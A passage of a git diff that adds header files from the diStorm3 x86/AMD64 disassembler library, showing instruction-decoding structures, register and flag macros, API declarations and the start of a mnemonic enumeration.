+ _WString operands; /* Operands of the decoded instruction, up to 3 operands, comma-seperated. */
+ _WString instructionHex; /* Hex dump - little endian, including prefixes. */
+ unsigned int size; /* Size of decoded instruction in bytes. */
+ _OffsetType offset; /* Start offset of the decoded instruction. */
+} _DecodedInst;
+
+#endif /* !DISTORM_LIGHT */
+
+/* Register masks for quick look up, each mask indicates one of a register-class that is being used in some operand. */
+#define RM_AX 1 /* AL, AH, AX, EAX, RAX */
+#define RM_CX 2 /* CL, CH, CX, ECX, RCX */
+#define RM_DX 4 /* DL, DH, DX, EDX, RDX */
+#define RM_BX 8 /* BL, BH, BX, EBX, RBX */
+#define RM_SP 0x10 /* SPL, SP, ESP, RSP */
+#define RM_BP 0x20 /* BPL, BP, EBP, RBP */
+#define RM_SI 0x40 /* SIL, SI, ESI, RSI */
+#define RM_DI 0x80 /* DIL, DI, EDI, RDI */
+#define RM_FPU 0x100 /* ST(0) - ST(7) */
+#define RM_MMX 0x200 /* MM0 - MM7 */
+#define RM_SSE 0x400 /* XMM0 - XMM15 */
+#define RM_AVX 0x800 /* YMM0 - YMM15 */
+#define RM_CR 0x1000 /* CR0, CR2, CR3, CR4, CR8 */
+#define RM_DR 0x2000 /* DR0, DR1, DR2, DR3, DR6, DR7 */
+#define RM_R8 0x4000 /* R8B, R8W, R8D, R8 */
+#define RM_R9 0x8000 /* R9B, R9W, R9D, R9 */
+#define RM_R10 0x10000 /* R10B, R10W, R10D, R10 */
+#define RM_R11 0x20000 /* R11B, R11W, R11D, R11 */
+#define RM_R12 0x40000 /* R12B, R12W, R12D, R12 */
+#define RM_R13 0x80000 /* R13B, R13W, R13D, R13 */
+#define RM_R14 0x100000 /* R14B, R14W, R14D, R14 */
+#define RM_R15 0x200000 /* R15B, R15W, R15D, R15 */
+
+/* RIP should be checked using the 'flags' field and FLAG_RIP_RELATIVE.
+ * Segments should be checked using the segment macros.
+ * For now R8 - R15 are not supported and non general purpose registers map into same RM.
+ */
+
+/* CPU flags that instructions modify, test or undefine (are EFLAGS compatible!). */
+#define D_CF 1 /* Carry */
+#define D_PF 4 /* Parity */
+#define D_AF 0x10 /* Auxiliary */
+#define D_ZF 0x40 /* Zero */
+#define D_SF 0x80 /* Sign */
+#define D_IF 0x200 /* Interrupt */
+#define D_DF 0x400 /* Direction */
+#define D_OF 0x800 /* Overflow */
+
+/*
+ * Instructions Set classes:
+ * if you want a better understanding of the available classes, look at disOps project, file: x86sets.py.
+ */
+/* Indicates the instruction belongs to the General Integer set. */
+#define ISC_INTEGER 1
+/* Indicates the instruction belongs to the 387 FPU set. */
+#define ISC_FPU 2
+/* Indicates the instruction belongs to the P6 set. */
+#define ISC_P6 3
+/* Indicates the instruction belongs to the MMX set. */
+#define ISC_MMX 4
+/* Indicates the instruction belongs to the SSE set. */
+#define ISC_SSE 5
+/* Indicates the instruction belongs to the SSE2 set. */
+#define ISC_SSE2 6
+/* Indicates the instruction belongs to the SSE3 set. */
+#define ISC_SSE3 7
+/* Indicates the instruction belongs to the SSSE3 set. */
+#define ISC_SSSE3 8
+/* Indicates the instruction belongs to the SSE4.1 set. */
+#define ISC_SSE4_1 9
+/* Indicates the instruction belongs to the SSE4.2 set. */
+#define ISC_SSE4_2 10
+/* Indicates the instruction belongs to the AMD's SSE4.A set. */
+#define ISC_SSE4_A 11
+/* Indicates the instruction belongs to the 3DNow! set. */
+#define ISC_3DNOW 12
+/* Indicates the instruction belongs to the 3DNow! Extensions set. */
+#define ISC_3DNOWEXT 13
+/* Indicates the instruction belongs to the VMX (Intel) set. */
+#define ISC_VMX 14
+/* Indicates the instruction belongs to the SVM (AMD) set. */
+#define ISC_SVM 15
+/* Indicates the instruction belongs to the AVX (Intel) set. */
+#define ISC_AVX 16
+/* Indicates the instruction belongs to the FMA (Intel) set. */
+#define ISC_FMA 17
+/* Indicates the instruction belongs to the AES/AVX (Intel) set. */
+#define ISC_AES 18
+/* Indicates the instruction belongs to the CLMUL (Intel) set. */
+#define ISC_CLMUL 19
+
+/* Features for decompose: */
+#define DF_NONE 0
+/* The decoder will limit addresses to a maximum of 16 bits. */
+#define DF_MAXIMUM_ADDR16 1
+/* The decoder will limit addresses to a maximum of 32 bits. */
+#define DF_MAXIMUM_ADDR32 2
+/* The decoder will return only flow control instructions (and filter the others internally). */
+#define DF_RETURN_FC_ONLY 4
+/* The decoder will stop and return to the caller when the instruction 'CALL' (near and far) was decoded. */
+#define DF_STOP_ON_CALL 8
+/* The decoder will stop and return to the caller when the instruction 'RET' (near and far) was decoded. */
+#define DF_STOP_ON_RET 0x10
+/* The decoder will stop and return to the caller when the instruction system-call/ret was decoded. */
+#define DF_STOP_ON_SYS 0x20
+/* The decoder will stop and return to the caller when any of the branch 'JMP', (near and far) instructions were decoded. */
+#define DF_STOP_ON_UNC_BRANCH 0x40
+/* The decoder will stop and return to the caller when any of the conditional branch instruction were decoded. */
+#define DF_STOP_ON_CND_BRANCH 0x80
+/* The decoder will stop and return to the caller when the instruction 'INT' (INT, INT1, INTO, INT 3) was decoded. */
+#define DF_STOP_ON_INT 0x100
+/* The decoder will stop and return to the caller when any of the 'CMOVxx' instruction was decoded. */
+#define DF_STOP_ON_CMOV 0x200
+/* The decoder will stop and return to the caller when any flow control instruction was decoded. */
+#define DF_STOP_ON_FLOW_CONTROL (DF_STOP_ON_CALL | DF_STOP_ON_RET | DF_STOP_ON_SYS | DF_STOP_ON_UNC_BRANCH | DF_STOP_ON_CND_BRANCH | DF_STOP_ON_INT | DF_STOP_ON_CMOV)
+
+/* Indicates the instruction is not a flow-control instruction. */
+#define FC_NONE 0
+/* Indicates the instruction is one of: CALL, CALL FAR. */
+#define FC_CALL 1
+/* Indicates the instruction is one of: RET, IRET, RETF. */
+#define FC_RET 2
+/* Indicates the instruction is one of: SYSCALL, SYSRET, SYSENTER, SYSEXIT. */
+#define FC_SYS 3
+/* Indicates the instruction is one of: JMP, JMP FAR. */
+#define FC_UNC_BRANCH 4
+/*
+ * Indicates the instruction is one of:
+ * JCXZ, JO, JNO, JB, JAE, JZ, JNZ, JBE, JA, JS, JNS, JP, JNP, JL, JGE, JLE, JG, LOOP, LOOPZ, LOOPNZ.
+ */
+#define FC_CND_BRANCH 5
+/* Indiciates the instruction is one of: INT, INT1, INT 3, INTO, UD2. */
+#define FC_INT 6
+/* Indicates the instruction is one of: CMOVxx. */
+#define FC_CMOV 7
+
+/* Return code of the decoding function. */
+typedef enum { DECRES_NONE = 0, DECRES_SUCCESS, DECRES_MEMORYERR, DECRES_INPUTERR, DECRES_FILTERED } _DecodeResult;
+
+_DecodeResult decode_internal(_CodeInfo* ci, int supportOldIntr, _DInst result[], unsigned int maxResultCount, unsigned int* usedInstructionsCount);
+
+/* Define the following interface functions only for outer projects. */
+#if !(defined(DISTORM_STATIC) || defined(DISTORM_DYNAMIC))
+
+/* distorm_decode
+ * Input:
+ * offset - Origin of the given code (virtual address that is), NOT an offset in code.
+ * code - Pointer to the code buffer to be disassembled.
+ * length - Amount of bytes that should be decoded from the code buffer.
+ * dt - Decoding mode, 16 bits (Decode16Bits), 32 bits (Decode32Bits) or AMD64 (Decode64Bits).
+ * result - Array of type _DecodeInst which will be used by this function in order to return the disassembled instructions.
+ * maxInstructions - The maximum number of entries in the result array that you pass to this function, so it won't exceed its bound.
+ * usedInstructionsCount - Number of the instruction that successfully were disassembled and written to the result array.
+ * Output: usedInstructionsCount will hold the number of entries used in the result array
+ * and the result array itself will be filled with the disassembled instructions.
+ * Return: DECRES_SUCCESS on success (no more to disassemble), DECRES_INPUTERR on input error (null code buffer, invalid decoding mode, etc...),
+ * DECRES_MEMORYERR when there are not enough entries to use in the result array, BUT YOU STILL have to check for usedInstructionsCount!
+ * Side-Effects: Even if the return code is DECRES_MEMORYERR, there might STILL be data in the
+ * array you passed, this function will try to use as much entries as possible!
+ * Notes: 1)The minimal size of maxInstructions is 15.
+ * 2)You will have to synchronize the offset,code and length by yourself if you pass code fragments and not a complete code block!
+ */
+
+/* distorm_decompose
+ * See more documentation online at the GitHub project's wiki.
+ *
+ */
+#ifdef SUPPORT_64BIT_OFFSET
+
+ _DecodeResult distorm_decompose64(_CodeInfo* ci, _DInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount);
+ #define distorm_decompose distorm_decompose64
+
+#ifndef DISTORM_LIGHT
+ /* If distorm-light is defined, we won't export these text-formatting functionality. */
+ _DecodeResult distorm_decode64(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DecodedInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount);
+ void distorm_format64(const _CodeInfo* ci, const _DInst* di, _DecodedInst* result);
+ #define distorm_decode distorm_decode64
+ #define distorm_format distorm_format64
+#endif /*DISTORM_LIGHT*/
+
+#else /*SUPPORT_64BIT_OFFSET*/
+
+ _DecodeResult distorm_decompose32(_CodeInfo* ci, _DInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount);
+ #define distorm_decompose distorm_decompose32
+
+#ifndef DISTORM_LIGHT
+ /* If distorm-light is defined, we won't export these text-formatting functionality. */
+ _DecodeResult distorm_decode32(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DecodedInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount);
+ void distorm_format32(const _CodeInfo* ci, const _DInst* di, _DecodedInst* result);
+ #define distorm_decode distorm_decode32
+ #define distorm_format distorm_format32
+#endif /*DISTORM_LIGHT*/
+
+#endif
+
+#endif /* DISTORM_STATIC */
+
+#ifdef __cplusplus
+} /* End Of Extern */
+#endif
+
+#endif /* DISTORM_H */
diff --git a/include/distorm/mnemonics.h b/include/distorm/mnemonics.h
new file mode 100644
index 0000000..ef9889c
--- /dev/null
+++ b/include/distorm/mnemonics.h
@@ -0,0 +1,301 @@
+/*
+mnemonics.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef MNEMONICS_H
+#define MNEMONICS_H
+
+#ifdef __cplusplus
+ extern "C" {
+#endif
+
+#ifndef DISTORM_LIGHT
+
+typedef struct WMnemonic {
+ unsigned char length;
+ unsigned char p[1]; /* p is a null terminated string, which contains 'length' characters. */
+} _WMnemonic;
+
+typedef struct WRegister {
+ unsigned int length;
+ unsigned char p[6]; /* p is a null terminated string. */
+} _WRegister;
+
+extern const unsigned char _MNEMONICS[];
+extern const _WRegister _REGISTERS[];
+
+#endif /* DISTORM_LIGHT */
+
+#ifdef __cplusplus
+} /* End Of Extern */
+#endif
+
+#define GET_REGISTER_NAME(r) (unsigned char*)_REGISTERS[(r)].p
+#define GET_MNEMONIC_NAME(m) ((_WMnemonic*)&_MNEMONICS[(m)])->p
+
+ typedef enum {
+ I_UNDEFINED = 0, I_AAA = 66, I_AAD = 389, I_AAM = 384, I_AAS = 76, I_ADC = 31, I_ADD = 11, I_ADDPD = 3132,
+ I_ADDPS = 3125, I_ADDSD = 3146, I_ADDSS = 3139, I_ADDSUBPD = 6416, I_ADDSUBPS = 6426,
+ I_AESDEC = 9231, I_AESDECLAST = 9248, I_AESENC = 9189, I_AESENCLAST = 9206,
+ I_AESIMC = 9172, I_AESKEYGENASSIST = 9817, I_AND = 41, I_ANDNPD = 3043, I_ANDNPS = 3035,
+ I_ANDPD = 3012, I_ANDPS = 3005, I_ARPL = 111, I_BLENDPD = 9394, I_BLENDPS = 9375,
+ I_BLENDVPD = 7641, I_BLENDVPS = 7631, I_BOUND = 104, I_BSF = 4368, I_BSR = 4380,
+ I_BSWAP = 960, I_BT = 872, I_BTC = 934, I_BTR = 912, I_BTS = 887, I_CALL = 456,
+ I_CALL_FAR = 260, I_CBW = 228, I_CDQ = 250, I_CDQE = 239, I_CLC = 492, I_CLD = 512,
+ I_CLFLUSH = 4351, I_CLGI = 1855, I_CLI = 502, I_CLTS = 541, I_CMC = 487, I_CMOVA = 694,
+ I_CMOVAE = 663, I_CMOVB = 656, I_CMOVBE = 686, I_CMOVG = 754, I_CMOVGE = 738,
+ I_CMOVL = 731, I_CMOVLE = 746, I_CMOVNO = 648, I_CMOVNP = 723, I_CMOVNS = 708,
+ I_CMOVNZ = 678, I_CMOVO = 641, I_CMOVP = 716, I_CMOVS = 701, I_CMOVZ = 671,
+ I_CMP = 71, I_CMPEQPD = 4471, I_CMPEQPS = 4392, I_CMPEQSD = 4629, I_CMPEQSS = 4550,
+ I_CMPLEPD = 4489, I_CMPLEPS = 4410, I_CMPLESD = 4647, I_CMPLESS = 4568, I_CMPLTPD = 4480,
+ I_CMPLTPS = 4401, I_CMPLTSD = 4638, I_CMPLTSS = 4559, I_CMPNEQPD = 4510, I_CMPNEQPS = 4431,
+ I_CMPNEQSD = 4668, I_CMPNEQSS = 4589, I_CMPNLEPD = 4530, I_CMPNLEPS = 4451,
+ I_CMPNLESD = 4688, I_CMPNLESS = 4609, I_CMPNLTPD = 4520, I_CMPNLTPS = 4441,
+ I_CMPNLTSD = 4678, I_CMPNLTSS = 4599, I_CMPORDPD = 4540, I_CMPORDPS = 4461,
+ I_CMPORDSD = 4698, I_CMPORDSS = 4619, I_CMPS = 301, I_CMPUNORDPD = 4498, I_CMPUNORDPS = 4419,
+ I_CMPUNORDSD = 4656, I_CMPUNORDSS = 4577, I_CMPXCHG = 898, I_CMPXCHG16B = 6395,
+ I_CMPXCHG8B = 6384, I_COMISD = 2801, I_COMISS = 2793, I_CPUID = 865, I_CQO = 255,
+ I_CRC32 = 9280, I_CVTDQ2PD = 6809, I_CVTDQ2PS = 3329, I_CVTPD2DQ = 6819, I_CVTPD2PI = 2703,
+ I_CVTPD2PS = 3255, I_CVTPH2PS = 4183, I_CVTPI2PD = 2517, I_CVTPI2PS = 2507,
+ I_CVTPS2DQ = 3339, I_CVTPS2PD = 3245, I_CVTPS2PH = 4193, I_CVTPS2PI = 2693,
+ I_CVTSD2SI = 2723, I_CVTSD2SS = 3275, I_CVTSI2SD = 2537, I_CVTSI2SS = 2527,
+ I_CVTSS2SD = 3265, I_CVTSS2SI = 2713, I_CVTTPD2DQ = 6798, I_CVTTPD2PI = 2636,
+ I_CVTTPS2DQ = 3349, I_CVTTPS2PI = 2625, I_CVTTSD2SI = 2658, I_CVTTSS2SI = 2647,
+ I_CWD = 245, I_CWDE = 233, I_DAA = 46, I_DAS = 56, I_DEC = 86, I_DIV = 1646,
+ I_DIVPD = 3521, I_DIVPS = 3514, I_DIVSD = 3535, I_DIVSS = 3528, I_DPPD = 9637,
+ I_DPPS = 9624, I_EMMS = 4122, I_ENTER = 340, I_EXTRACTPS = 9502, I_EXTRQ = 4158,
+ I_F2XM1 = 1192, I_FABS = 1123, I_FADD = 1023, I_FADDP = 1549, I_FBLD = 1601,
+ I_FBSTP = 1607, I_FCHS = 1117, I_FCLEX = 7311, I_FCMOVB = 1376, I_FCMOVBE = 1392,
+ I_FCMOVE = 1384, I_FCMOVNB = 1445, I_FCMOVNBE = 1463, I_FCMOVNE = 1454, I_FCMOVNU = 1473,
+ I_FCMOVU = 1401, I_FCOM = 1035, I_FCOMI = 1512, I_FCOMIP = 1623, I_FCOMP = 1041,
+ I_FCOMPP = 1563, I_FCOS = 1311, I_FDECSTP = 1238, I_FDIV = 1061, I_FDIVP = 1594,
+ I_FDIVR = 1067, I_FDIVRP = 1586, I_FEDISI = 1488, I_FEMMS = 574, I_FENI = 1482,
+ I_FFREE = 1527, I_FIADD = 1317, I_FICOM = 1331, I_FICOMP = 1338, I_FIDIV = 1361,
+ I_FIDIVR = 1368, I_FILD = 1418, I_FIMUL = 1324, I_FINCSTP = 1247, I_FINIT = 7326,
+ I_FIST = 1432, I_FISTP = 1438, I_FISTTP = 1424, I_FISUB = 1346, I_FISUBR = 1353,
+ I_FLD = 1074, I_FLD1 = 1141, I_FLDCW = 1098, I_FLDENV = 1090, I_FLDL2E = 1155,
+ I_FLDL2T = 1147, I_FLDLG2 = 1170, I_FLDLN2 = 1178, I_FLDPI = 1163, I_FLDZ = 1186,
+ I_FMUL = 1029, I_FMULP = 1556, I_FNCLEX = 7303, I_FNINIT = 7318, I_FNOP = 1111,
+ I_FNSAVE = 7333, I_FNSTCW = 7288, I_FNSTENV = 7271, I_FNSTSW = 7348, I_FPATAN = 1213,
+ I_FPREM = 1256, I_FPREM1 = 1230, I_FPTAN = 1206, I_FRNDINT = 1288, I_FRSTOR = 1519,
+ I_FSAVE = 7341, I_FSCALE = 1297, I_FSETPM = 1496, I_FSIN = 1305, I_FSINCOS = 1279,
+ I_FSQRT = 1272, I_FST = 1079, I_FSTCW = 7296, I_FSTENV = 7280, I_FSTP = 1084,
+ I_FSTSW = 7356, I_FSUB = 1048, I_FSUBP = 1579, I_FSUBR = 1054, I_FSUBRP = 1571,
+ I_FTST = 1129, I_FUCOM = 1534, I_FUCOMI = 1504, I_FUCOMIP = 1614, I_FUCOMP = 1541,
+ I_FUCOMPP = 1409, I_FXAM = 1135, I_FXCH = 1105, I_FXRSTOR = 9914, I_FXRSTOR64 = 9923,
+ I_FXSAVE = 9886, I_FXSAVE64 = 9894, I_FXTRACT = 1221, I_FYL2X = 1199, I_FYL2XP1 = 1263,
+ I_GETSEC = 633, I_HADDPD = 4203, I_HADDPS = 4211, I_HLT = 482, I_HSUBPD = 4237,
+ I_HSUBPS = 4245, I_IDIV = 1651, I_IMUL = 117, I_IN = 447, I_INC = 81, I_INS = 123,
+ I_INSERTPS = 9569, I_INSERTQ = 4165, I_INT = 367, I_INT_3 = 360, I_INT1 = 476,
+ I_INTO = 372, I_INVD = 555, I_INVEPT = 8306, I_INVLPG = 1727, I_INVLPGA = 1869,
+ I_INVPCID = 8323, I_INVVPID = 8314, I_IRET = 378, I_JA = 166, I_JAE = 147,
+ I_JB = 143, I_JBE = 161, I_JCXZ = 427, I_JECXZ = 433, I_JG = 202, I_JGE = 192,
+ I_JL = 188, I_JLE = 197, I_JMP = 462, I_JMP_FAR = 467, I_JNO = 138, I_JNP = 183,
+ I_JNS = 174, I_JNZ = 156, I_JO = 134, I_JP = 179, I_JRCXZ = 440, I_JS = 170,
+ I_JZ = 152, I_LAHF = 289, I_LAR = 522, I_LDDQU = 7016, I_LDMXCSR = 9944, I_LDS = 335,
+ I_LEA = 223, I_LEAVE = 347, I_LES = 330, I_LFENCE = 4287, I_LFS = 917, I_LGDT = 1703,
+ I_LGS = 922, I_LIDT = 1709, I_LLDT = 1668, I_LMSW = 1721, I_LODS = 313, I_LOOP = 421,
+ I_LOOPNZ = 406, I_LOOPZ = 414, I_LSL = 527, I_LSS = 907, I_LTR = 1674, I_LZCNT = 4385,
+ I_MASKMOVDQU = 7141, I_MASKMOVQ = 7131, I_MAXPD = 3581, I_MAXPS = 3574, I_MAXSD = 3595,
+ I_MAXSS = 3588, I_MFENCE = 4313, I_MINPD = 3461, I_MINPS = 3454, I_MINSD = 3475,
+ I_MINSS = 3468, I_MONITOR = 1771, I_MOV = 218, I_MOVAPD = 2481, I_MOVAPS = 2473,
+ I_MOVBE = 9273, I_MOVD = 3942, I_MOVDDUP = 2208, I_MOVDQ2Q = 6544, I_MOVDQA = 3968,
+ I_MOVDQU = 3976, I_MOVHLPS = 2173, I_MOVHPD = 2367, I_MOVHPS = 2359, I_MOVLHPS = 2350,
+ I_MOVLPD = 2190, I_MOVLPS = 2182, I_MOVMSKPD = 2837, I_MOVMSKPS = 2827, I_MOVNTDQ = 6871,
+ I_MOVNTDQA = 7917, I_MOVNTI = 952, I_MOVNTPD = 2578, I_MOVNTPS = 2569, I_MOVNTQ = 6863,
+ I_MOVNTSD = 2596, I_MOVNTSS = 2587, I_MOVQ = 3948, I_MOVQ2DQ = 6535, I_MOVS = 295,
+ I_MOVSD = 2132, I_MOVSHDUP = 2375, I_MOVSLDUP = 2198, I_MOVSS = 2125, I_MOVSX = 939,
+ I_MOVSXD = 10027, I_MOVUPD = 2117, I_MOVUPS = 2109, I_MOVZX = 927, I_MPSADBW = 9650,
+ I_MUL = 1641, I_MULPD = 3192, I_MULPS = 3185, I_MULSD = 3206, I_MULSS = 3199,
+ I_MWAIT = 1780, I_NEG = 1636, I_NOP = 581, I_NOT = 1631, I_OR = 27, I_ORPD = 3075,
+ I_ORPS = 3069, I_OUT = 451, I_OUTS = 128, I_PABSB = 7710, I_PABSD = 7740, I_PABSW = 7725,
+ I_PACKSSDW = 3871, I_PACKSSWB = 3703, I_PACKUSDW = 7938, I_PACKUSWB = 3781,
+ I_PADDB = 7226, I_PADDD = 7256, I_PADDQ = 6503, I_PADDSB = 6952, I_PADDSW = 6969,
+ I_PADDUSB = 6642, I_PADDUSW = 6661, I_PADDW = 7241, I_PALIGNR = 9432, I_PAND = 6629,
+ I_PANDN = 6687, I_PAUSE = 10035, I_PAVGB = 6702, I_PAVGUSB = 2100, I_PAVGW = 6747,
+ I_PBLENDVB = 7621, I_PBLENDW = 9413, I_PCLMULQDQ = 9669, I_PCMPEQB = 4065,
+ I_PCMPEQD = 4103, I_PCMPEQQ = 7898, I_PCMPEQW = 4084, I_PCMPESTRI = 9748,
+ I_PCMPESTRM = 9725, I_PCMPGTB = 3724, I_PCMPGTD = 3762, I_PCMPGTQ = 8109,
+ I_PCMPGTW = 3743, I_PCMPISTRI = 9794, I_PCMPISTRM = 9771, I_PEXTRB = 9451,
+ I_PEXTRD = 9468, I_PEXTRQ = 9476, I_PEXTRW = 6333, I_PF2ID = 1936, I_PF2IW = 1929,
+ I_PFACC = 2050, I_PFADD = 1999, I_PFCMPEQ = 2057, I_PFCMPGE = 1960, I_PFCMPGT = 2006,
+ I_PFMAX = 2015, I_PFMIN = 1969, I_PFMUL = 2066, I_PFNACC = 1943, I_PFPNACC = 1951,
+ I_PFRCP = 1976, I_PFRCPIT1 = 2022, I_PFRCPIT2 = 2073, I_PFRSQIT1 = 2032, I_PFRSQRT = 1983,
+ I_PFSUB = 1992, I_PFSUBR = 2042, I_PHADDD = 7397, I_PHADDSW = 7414, I_PHADDW = 7380,
+ I_PHMINPOSUW = 8281, I_PHSUBD = 7473, I_PHSUBSW = 7490, I_PHSUBW = 7456, I_PI2FD = 1922,
+ I_PI2FW = 1915, I_PINSRB = 9552, I_PINSRD = 9590, I_PINSRQ = 9598, I_PINSRW = 6316,
+ I_PMADDUBSW = 7433, I_PMADDWD = 7095, I_PMAXSB = 8196, I_PMAXSD = 8213, I_PMAXSW = 6986,
+ I_PMAXUB = 6670, I_PMAXUD = 8247, I_PMAXUW = 8230, I_PMINSB = 8128, I_PMINSD = 8145,
+ I_PMINSW = 6924, I_PMINUB = 6612, I_PMINUD = 8179, I_PMINUW = 8162, I_PMOVMSKB = 6553,
+ I_PMOVSXBD = 7776, I_PMOVSXBQ = 7797, I_PMOVSXBW = 7755, I_PMOVSXDQ = 7860,
+ I_PMOVSXWD = 7818, I_PMOVSXWQ = 7839, I_PMOVZXBD = 8004, I_PMOVZXBQ = 8025,
+ I_PMOVZXBW = 7983, I_PMOVZXDQ = 8088, I_PMOVZXWD = 8046, I_PMOVZXWQ = 8067,
+ I_PMULDQ = 7881, I_PMULHRSW = 7560, I_PMULHRW = 2083, I_PMULHUW = 6762, I_PMULHW = 6781,
+ I_PMULLD = 8264, I_PMULLW = 6518, I_PMULUDQ = 7076, I_POP = 22, I_POPA = 98,
+ I_POPCNT = 4360, I_POPF = 277, I_POR = 6941, I_PREFETCH = 1894, I_PREFETCHNTA = 2424,
+ I_PREFETCHT0 = 2437, I_PREFETCHT1 = 2449, I_PREFETCHT2 = 2461, I_PREFETCHW = 1904,
+ I_PSADBW = 7114, I_PSHUFB = 7363, I_PSHUFD = 4010, I_PSHUFHW = 4018, I_PSHUFLW = 4027,
+ I_PSHUFW = 4002, I_PSIGNB = 7509, I_PSIGND = 7543, I_PSIGNW = 7526, I_PSLLD = 7046,
+ I_PSLLDQ = 9869, I_PSLLQ = 7061, I_PSLLW = 7031, I_PSRAD = 6732, I_PSRAW = 6717,
+ I_PSRLD = 6473, I_PSRLDQ = 9852, I_PSRLQ = 6488, I_PSRLW = 6458, I_PSUBB = 7166,
+ I_PSUBD = 7196, I_PSUBQ = 7211, I_PSUBSB = 6890, I_PSUBSW = 6907, I_PSUBUSB = 6574,
+ I_PSUBUSW = 6593, I_PSUBW = 7181, I_PSWAPD = 2092, I_PTEST = 7651, I_PUNPCKHBW = 3802,
+ I_PUNPCKHDQ = 3848, I_PUNPCKHQDQ = 3917, I_PUNPCKHWD = 3825, I_PUNPCKLBW = 3634,
+ I_PUNPCKLDQ = 3680, I_PUNPCKLQDQ = 3892, I_PUNPCKLWD = 3657, I_PUSH = 16,
+ I_PUSHA = 91, I_PUSHF = 270, I_PXOR = 7003, I_RCL = 977, I_RCPPS = 2975, I_RCPSS = 2982,
+ I_RCR = 982, I_RDFSBASE = 9904, I_RDGSBASE = 9934, I_RDMSR = 600, I_RDPMC = 607,
+ I_RDRAND = 10048, I_RDTSC = 593, I_RDTSCP = 1886, I_RET = 325, I_RETF = 354,
+ I_ROL = 967, I_ROR = 972, I_ROUNDPD = 9318, I_ROUNDPS = 9299, I_ROUNDSD = 9356,
+ I_ROUNDSS = 9337, I_RSM = 882, I_RSQRTPS = 2937, I_RSQRTSS = 2946, I_SAHF = 283,
+ I_SAL = 997, I_SALC = 394, I_SAR = 1002, I_SBB = 36, I_SCAS = 319, I_SETA = 807,
+ I_SETAE = 780, I_SETB = 774, I_SETBE = 800, I_SETG = 859, I_SETGE = 845, I_SETL = 839,
+ I_SETLE = 852, I_SETNO = 767, I_SETNP = 832, I_SETNS = 819, I_SETNZ = 793,
+ I_SETO = 761, I_SETP = 826, I_SETS = 813, I_SETZ = 787, I_SFENCE = 4343, I_SGDT = 1691,
+ I_SHL = 987, I_SHLD = 876, I_SHR = 992, I_SHRD = 892, I_SHUFPD = 6358, I_SHUFPS = 6350,
+ I_SIDT = 1697, I_SKINIT = 1861, I_SLDT = 1657, I_SMSW = 1715, I_SQRTPD = 2877,
+ I_SQRTPS = 2869, I_SQRTSD = 2893, I_SQRTSS = 2885, I_STC = 497, I_STD = 517,
+ I_STGI = 1849, I_STI = 507, I_STMXCSR = 9973, I_STOS = 307, I_STR = 1663, I_SUB = 51,
+ I_SUBPD = 3401, I_SUBPS = 3394, I_SUBSD = 3415, I_SUBSS = 3408, I_SWAPGS = 1878,
+ I_SYSCALL = 532, I_SYSENTER = 614, I_SYSEXIT = 624, I_SYSRET = 547, I_TEST = 206,
+ I_TZCNT = 4373, I_UCOMISD = 2764, I_UCOMISS = 2755, I_UD2 = 569, I_UNPCKHPD = 2318,
+ I_UNPCKHPS = 2308, I_UNPCKLPD = 2276, I_UNPCKLPS = 2266, I_VADDPD = 3161,
+ I_VADDPS = 3153, I_VADDSD = 3177, I_VADDSS = 3169, I_VADDSUBPD = 6436, I_VADDSUBPS = 6447,
+ I_VAESDEC = 9239, I_VAESDECLAST = 9260, I_VAESENC = 9197, I_VAESENCLAST = 9218,
+ I_VAESIMC = 9180, I_VAESKEYGENASSIST = 9834, I_VANDNPD = 3060, I_VANDNPS = 3051,
+ I_VANDPD = 3027, I_VANDPS = 3019, I_VBLENDPD = 9403, I_VBLENDPS = 9384, I_VBLENDVPD = 9703,
+ I_VBLENDVPS = 9692, I_VBROADCASTF128 = 7694, I_VBROADCASTSD = 7680, I_VBROADCASTSS = 7666,
+ I_VCMPEQPD = 5110, I_VCMPEQPS = 4708, I_VCMPEQSD = 5914, I_VCMPEQSS = 5512,
+ I_VCMPEQ_OSPD = 5291, I_VCMPEQ_OSPS = 4889, I_VCMPEQ_OSSD = 6095, I_VCMPEQ_OSSS = 5693,
+ I_VCMPEQ_UQPD = 5197, I_VCMPEQ_UQPS = 4795, I_VCMPEQ_UQSD = 6001, I_VCMPEQ_UQSS = 5599,
+ I_VCMPEQ_USPD = 5400, I_VCMPEQ_USPS = 4998, I_VCMPEQ_USSD = 6204, I_VCMPEQ_USSS = 5802,
+ I_VCMPFALSEPD = 5232, I_VCMPFALSEPS = 4830, I_VCMPFALSESD = 6036, I_VCMPFALSESS = 5634,
+ I_VCMPFALSE_OSPD = 5441, I_VCMPFALSE_OSPS = 5039, I_VCMPFALSE_OSSD = 6245,
+ I_VCMPFALSE_OSSS = 5843, I_VCMPGEPD = 5259, I_VCMPGEPS = 4857, I_VCMPGESD = 6063,
+ I_VCMPGESS = 5661, I_VCMPGE_OQPD = 5471, I_VCMPGE_OQPS = 5069, I_VCMPGE_OQSD = 6275,
+ I_VCMPGE_OQSS = 5873, I_VCMPGTPD = 5269, I_VCMPGTPS = 4867, I_VCMPGTSD = 6073,
+ I_VCMPGTSS = 5671, I_VCMPGT_OQPD = 5484, I_VCMPGT_OQPS = 5082, I_VCMPGT_OQSD = 6288,
+ I_VCMPGT_OQSS = 5886, I_VCMPLEPD = 5130, I_VCMPLEPS = 4728, I_VCMPLESD = 5934,
+ I_VCMPLESS = 5532, I_VCMPLE_OQPD = 5317, I_VCMPLE_OQPS = 4915, I_VCMPLE_OQSD = 6121,
+ I_VCMPLE_OQSS = 5719, I_VCMPLTPD = 5120, I_VCMPLTPS = 4718, I_VCMPLTSD = 5924,
+ I_VCMPLTSS = 5522, I_VCMPLT_OQPD = 5304, I_VCMPLT_OQPS = 4902, I_VCMPLT_OQSD = 6108,
+ I_VCMPLT_OQSS = 5706, I_VCMPNEQPD = 5153, I_VCMPNEQPS = 4751, I_VCMPNEQSD = 5957,
+ I_VCMPNEQSS = 5555, I_VCMPNEQ_OQPD = 5245, I_VCMPNEQ_OQPS = 4843, I_VCMPNEQ_OQSD = 6049,
